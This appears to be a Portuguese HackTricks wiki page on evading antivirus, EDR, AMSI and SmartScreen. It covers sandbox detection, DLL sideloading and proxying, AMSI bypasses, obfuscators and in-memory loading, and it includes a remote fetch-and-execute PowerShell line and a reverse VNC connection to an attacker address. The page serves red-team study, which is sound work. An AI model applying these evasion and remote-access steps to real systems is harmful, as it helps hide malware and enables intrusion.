Antivirus (AV) Bypass
Last updated
Last updated
Aprenda e pratique Hacking na AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking na GCP: HackTricks Training GCP Red Team Expert (GRTE)
Se você está interessado em uma carreira em hacking e hackear o inhackeável - estamos contratando! (fluência em polonês escrita e falada é necessária).
Esta página foi escrita por @m2rc_p!
Atualmente, os AVs usam diferentes métodos para verificar se um arquivo é malicioso ou não, detecção estática, análise dinâmica e, para os EDRs mais avançados, análise comportamental.
A detecção estática é alcançada sinalizando strings ou arrays de bytes maliciosos conhecidos em um binário ou script, e também extraindo informações do próprio arquivo (por exemplo, descrição do arquivo, nome da empresa, assinaturas digitais, ícone, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode fazer com que você seja pego mais facilmente, pois provavelmente foram analisadas e sinalizadas como maliciosas. Existem algumas maneiras de contornar esse tipo de detecção:
Criptografia
Se você criptografar o binário, não haverá como o AV detectar seu programa, mas você precisará de algum tipo de carregador para descriptografar e executar o programa na memória.
Ofuscação
Às vezes, tudo o que você precisa fazer é mudar algumas strings no seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa que consome tempo, dependendo do que você está tentando ofuscar.
Ferramentas personalizadas
Se você desenvolver suas próprias ferramentas, não haverá assinaturas ruins conhecidas, mas isso leva muito tempo e esforço.
Uma boa maneira de verificar contra a detecção estática do Windows Defender é o ThreatCheck. Ele basicamente divide o arquivo em vários segmentos e, em seguida, pede ao Defender para escanear cada um individualmente, dessa forma, ele pode lhe dizer exatamente quais são as strings ou bytes sinalizados em seu binário.
Recomendo fortemente que você confira esta playlist do YouTube sobre evasão prática de AV.
A análise dinâmica é quando o AV executa seu binário em uma sandbox e observa atividades maliciosas (por exemplo, tentando descriptografar e ler as senhas do seu navegador, realizando um minidump no LSASS, etc.). Esta parte pode ser um pouco mais complicada de trabalhar, mas aqui estão algumas coisas que você pode fazer para evadir sandboxes.
Dormir antes da execução Dependendo de como é implementado, pode ser uma ótima maneira de contornar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar longas pausas pode perturbar a análise de binários. O problema é que muitas sandboxes de AV podem simplesmente ignorar a pausa, dependendo de como é implementado.
Verificando os recursos da máquina Normalmente, as sandboxes têm muito poucos recursos para trabalhar (por exemplo, < 2GB de RAM), caso contrário, poderiam desacelerar a máquina do usuário. Você também pode ser muito criativo aqui, por exemplo, verificando a temperatura da CPU ou até mesmo as velocidades dos ventiladores, nem tudo será implementado na sandbox.
Verificações específicas da máquina Se você quiser direcionar um usuário cuja estação de trabalho está unida ao domínio "contoso.local", você pode fazer uma verificação no domínio do computador para ver se corresponde ao que você especificou, se não corresponder, você pode fazer seu programa sair.
Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador em seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro da sandbox do defender, então você pode fazer seu programa sair.
Algumas outras dicas realmente boas de @mgeeky para ir contra Sandboxes
Como dissemos antes neste post, ferramentas públicas eventualmente serão detectadas, então, você deve se perguntar algo:
Por exemplo, se você quiser despejar o LSASS, você realmente precisa usar mimikatz? Ou poderia usar um projeto diferente que é menos conhecido e também despeja o LSASS.
A resposta certa é provavelmente a última. Tomando mimikatz como exemplo, é provavelmente uma das, se não a peça de malware mais sinalizada por AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
Ao modificar seus payloads para evasão, certifique-se de desativar a submissão automática de amostras no defender, e por favor, sério, NÃO CARREGUE NO VIRUSTOTAL se seu objetivo é alcançar a evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até que você esteja satisfeito com o resultado.
Sempre que possível, sempre priorize o uso de DLLs para evasão, na minha experiência, arquivos DLL são geralmente muito menos detectados e analisados, então é um truque muito simples de usar para evitar a detecção em alguns casos (se seu payload tiver alguma maneira de ser executado como uma DLL, é claro).
Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.
Agora vamos mostrar alguns truques que você pode usar com arquivos DLL para ser muito mais furtivo.
Sideloading de DLLs aproveita a ordem de busca de DLLs usada pelo carregador, posicionando tanto o aplicativo da vítima quanto o(s) payload(s) malicioso(s) lado a lado.
Você pode verificar programas suscetíveis ao Sideloading de DLLs usando Siofra e o seguinte script do powershell:
Este comando irá gerar a lista de programas suscetíveis a DLL hijacking dentro de "C:\Program Files\" e os arquivos DLL que eles tentam carregar.
Eu recomendo fortemente que você explore programas DLL Hijackable/Sideloadable por conta própria, essa técnica é bastante furtiva quando feita corretamente, mas se você usar programas DLL Sideloadable publicamente conhecidos, pode ser facilmente pego.
Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar, não carregará sua carga útil, pois o programa espera algumas funções específicas dentro daquela DLL. Para corrigir esse problema, usaremos outra técnica chamada DLL Proxying/Forwarding.
DLL Proxying encaminha as chamadas que um programa faz da DLL proxy (e maliciosa) para a DLL original, preservando assim a funcionalidade do programa e sendo capaz de lidar com a execução da sua carga útil.
Eu estarei usando o projeto SharpDLLProxy do @flangvik
Estes são os passos que eu segui:
O último comando nos dará 2 arquivos: um modelo de código-fonte DLL e a DLL original renomeada.
Estes são os resultados:
Tanto nosso shellcode (codificado com SGN) quanto a DLL proxy têm uma taxa de Detecção de 0/26 em antiscan.me! Eu chamaria isso de um sucesso.
Eu recomendo fortemente que você assista ao VOD da twitch de S3cur3Th1sSh1t sobre DLL Sideloading e também ao vídeo de ippsec para aprender mais sobre o que discutimos de forma mais aprofundada.
Freeze é um kit de ferramentas de payload para contornar EDRs usando processos suspensos, chamadas de sistema diretas e métodos de execução alternativos
Você pode usar o Freeze para carregar e executar seu shellcode de maneira furtiva.
A evasão é apenas um jogo de gato e rato, o que funciona hoje pode ser detectado amanhã, então nunca confie em apenas uma ferramenta, se possível, tente encadear várias técnicas de evasão.
AMSI foi criado para prevenir "malware sem arquivo". Inicialmente, os AVs eram capazes de escanear arquivos no disco, então, se você conseguisse executar payloads diretamente na memória, o AV não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
O recurso AMSI está integrado nesses componentes do Windows.
Controle de Conta de Usuário, ou UAC (elevação de EXE, COM, MSI ou instalação ActiveX)
PowerShell (scripts, uso interativo e avaliação de código dinâmico)
Windows Script Host (wscript.exe e cscript.exe)
JavaScript e VBScript
Macros VBA do Office
Ele permite que soluções antivírus inspecionem o comportamento de scripts, expondo o conteúdo do script de uma forma que é tanto não criptografada quanto não ofuscada.
Executar IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') produzirá o seguinte alerta no Windows Defender.
Note como ele adiciona amsi: e então o caminho para o executável do qual o script foi executado, neste caso, powershell.exe
Não deixamos nenhum arquivo no disco, mas ainda assim fomos pegos na memória por causa do AMSI.
Existem algumas maneiras de contornar o AMSI:
Ofuscação
Como o AMSI funciona principalmente com detecções estáticas, portanto, modificar os scripts que você tenta carregar pode ser uma boa maneira de evitar a detecção.
No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo que tenha várias camadas, então a ofuscação pode ser uma má opção dependendo de como é feita. Isso torna não tão simples a evasão. Embora, às vezes, tudo o que você precisa fazer é mudar alguns nomes de variáveis e você estará bem, então depende de quanto algo foi sinalizado.
Bypass do AMSI
Como o AMSI é implementado carregando uma DLL no processo do powershell (também cscript.exe, wscript.exe, etc.), é possível manipulá-lo facilmente mesmo executando como um usuário não privilegiado. Devido a essa falha na implementação do AMSI, pesquisadores encontraram várias maneiras de evitar a varredura do AMSI.
Forçando um Erro
Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará em que nenhuma varredura será iniciada para o processo atual. Originalmente, isso foi divulgado por Matt Graeber e a Microsoft desenvolveu uma assinatura para prevenir o uso mais amplo.
Bastou uma linha de código powershell para tornar o AMSI inutilizável para o processo powershell atual. Esta linha, é claro, foi sinalizada pelo próprio AMSI, então alguma modificação é necessária para usar esta técnica.
Aqui está um bypass de AMSI modificado que eu peguei deste Github Gist.
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
Memory Patching
Esta técnica foi inicialmente descoberta por @RastaMouse e envolve encontrar o endereço da função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê-lo com instruções para retornar o código para E_INVALIDARG, dessa forma, o resultado da varredura real retornará 0, que é interpretado como um resultado limpo.
Por favor, leia https://rastamouse.me/memory-patching-amsi-bypass/ para uma explicação mais detalhada.
Existem também muitas outras técnicas usadas para contornar o AMSI com PowerShell, confira esta página e este repositório para aprender mais sobre elas.
Ou este script que, via memory patching, irá patchar cada novo Powersh
Existem várias ferramentas que podem ser usadas para ofuscar código C# em texto claro, gerar modelos de metaprogramação para compilar binários ou ofuscar binários compilados, como:
InvisibilityCloak: ofuscador C#
Obfuscator-LLVM: O objetivo deste projeto é fornecer um fork de código aberto da suíte de compilação LLVM capaz de fornecer maior segurança de software através da ofuscação de código e proteção contra adulteração.
ADVobfuscator: ADVobfuscator demonstra como usar a linguagem C++11/14 para gerar, em tempo de compilação, código ofuscado sem usar nenhuma ferramenta externa e sem modificar o compilador.
obfy: Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates C++ que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
Alcatraz: Alcatraz é um ofuscador de binários x64 que é capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
metame: Metame é um simples motor de código metamórfico para executáveis arbitrários.
ropfuscator: ROPfuscator é um framework de ofuscação de código de grão fino para linguagens suportadas pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
Nimcrypt: Nimcrypt é um Crypter PE .NET escrito em Nim
inceptor: Inceptor é capaz de converter EXE/DLL existentes em shellcode e, em seguida, carregá-los
Você pode ter visto esta tela ao baixar alguns executáveis da internet e executá-los.
O Microsoft Defender SmartScreen é um mecanismo de segurança destinado a proteger o usuário final contra a execução de aplicativos potencialmente maliciosos.
O SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicativos baixados incomumente acionarão o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando em Mais Informações -> Executar assim mesmo).
MoTW (Mark of The Web) é um Fluxo de Dados Alternativo NTFS com o nome de Zone.Identifier que é criado automaticamente ao baixar arquivos da internet, junto com a URL de onde foi baixado.
É importante notar que executáveis assinados com um certificado de assinatura confiável não acionarão o SmartScreen.
Uma maneira muito eficaz de evitar que seus payloads recebam o Mark of The Web é embalá-los dentro de algum tipo de contêiner, como um ISO. Isso acontece porque o Mark-of-the-Web (MOTW) não pode ser aplicado a volumes não NTFS.
PackMyPayload é uma ferramenta que empacota payloads em contêineres de saída para evitar o Mark-of-the-Web.
Exemplo de uso:
Aqui está uma demonstração para contornar o SmartScreen empacotando cargas úteis dentro de arquivos ISO usando PackMyPayload
Carregar binários C# na memória é conhecido há bastante tempo e ainda é uma ótima maneira de executar suas ferramentas de pós-exploração sem ser pego pelo AV.
Como a carga útil será carregada diretamente na memória sem tocar no disco, só teremos que nos preocupar em corrigir o AMSI para todo o processo.
A maioria das estruturas C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já fornece a capacidade de executar assemblies C# diretamente na memória, mas existem diferentes maneiras de fazer isso:
Fork&Run
Isso envolve gerar um novo processo sacrificial, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre fora do nosso processo de implante Beacon. Isso significa que se algo em nossa ação de pós-exploração der errado ou for pego, há uma chance muito maior de nosso implante sobreviver. A desvantagem é que você tem uma maior chance de ser pego por Detecções Comportamentais.
Inline
Trata-se de injetar o código malicioso de pós-exploração em seu próprio processo. Dessa forma, você pode evitar ter que criar um novo processo e fazê-lo ser escaneado pelo AV, mas a desvantagem é que se algo der errado com a execução de sua carga útil, há uma chance muito maior de perder seu beacon, pois ele pode travar.
Se você quiser ler mais sobre o carregamento de Assembly C#, consulte este artigo https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ e seu BOF InlineExecute-Assembly (https://github.com/xforcered/InlineExecute-Assembly)
Você também pode carregar Assemblies C# do PowerShell, confira Invoke-SharpLoader e o vídeo de S3cur3th1sSh1t.
Como proposto em https://github.com/deeexcee-io/LOI-Bins, é possível executar código malicioso usando outras linguagens, dando à máquina comprometida acesso ao ambiente do interpretador instalado no compartilhamento SMB controlado pelo Atacante.
Ao permitir acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode executar código arbitrário nessas linguagens dentro da memória da máquina comprometida.
O repositório indica: O Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP, etc., temos mais flexibilidade para contornar assinaturas estáticas. Testes com scripts de shell reverso aleatórios não ofuscados nessas linguagens mostraram-se bem-sucedidos.
A evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em apenas um sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.
Cada ambiente que você enfrenta terá seus próprios pontos fortes e fracos.
Eu recomendo fortemente que você assista a esta palestra de @ATTL4S, para ter uma base em técnicas de Evasão Avançadas.
Esta também é outra ótima palestra de @mariuszbit sobre Evasão em Profundidade.
Você pode usar ThreatCheck que removerá partes do binário até descobrir qual parte o Defender está considerando maliciosa e dividir isso para você. Outra ferramenta que faz a mesma coisa é avred com um serviço web aberto oferecendo o serviço em https://avred.r00ted.ch/
Até o Windows 10, todos os Windows vinham com um servidor Telnet que você poderia instalar (como administrador) fazendo:
Faça com que inicie quando o sistema for iniciado e execute agora:
Mudar a porta telnet (stealth) e desativar o firewall:
Baixe-o de: http://www.uvnc.com/downloads/ultravnc.html (você quer os downloads binários, não a configuração)
NA MÁQUINA HOST: Execute winvnc.exe e configure o servidor:
Ative a opção Desativar TrayIcon
Defina uma senha em Senha VNC
Defina uma senha em Senha Somente Visualização
Em seguida, mova o binário winvnc.exe e o arquivo recém-criado UltraVNC.ini para dentro da vítima
O atacante deve executar dentro de seu host o binário vncviewer.exe -listen 5900 para que ele esteja preparado para capturar uma conexão VNC reversa. Então, dentro da vítima: Inicie o daemon winvnc winvnc.exe -run e execute winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900
AVISO: Para manter a furtividade, você não deve fazer algumas coisas
Não inicie winvnc se já estiver em execução ou você acionará um popup. verifique se está em execução com tasklist | findstr winvnc
Não inicie winvnc sem UltraVNC.ini no mesmo diretório ou isso fará com que a janela de configuração seja aberta
Não execute winvnc -h para ajuda ou você acionará um popup
Baixe-o de: https://github.com/GreatSCT/GreatSCT
Dentro do GreatSCT:
Agora inicie o lister com msfconsole -r file.rc e execute o payload xml com:
O atual defensor encerrará o processo muito rapidamente.
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
Compile-o com:
Use-o com:
REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066
REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639
Download e execução automáticos:
Lista de ofuscadores C#: https://github.com/NotPrab/.NET-Obfuscator
Se você está interessado em carreira de hacking e hackear o inhackeável - estamos contratando! (fluência em polonês escrita e falada é necessária).
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
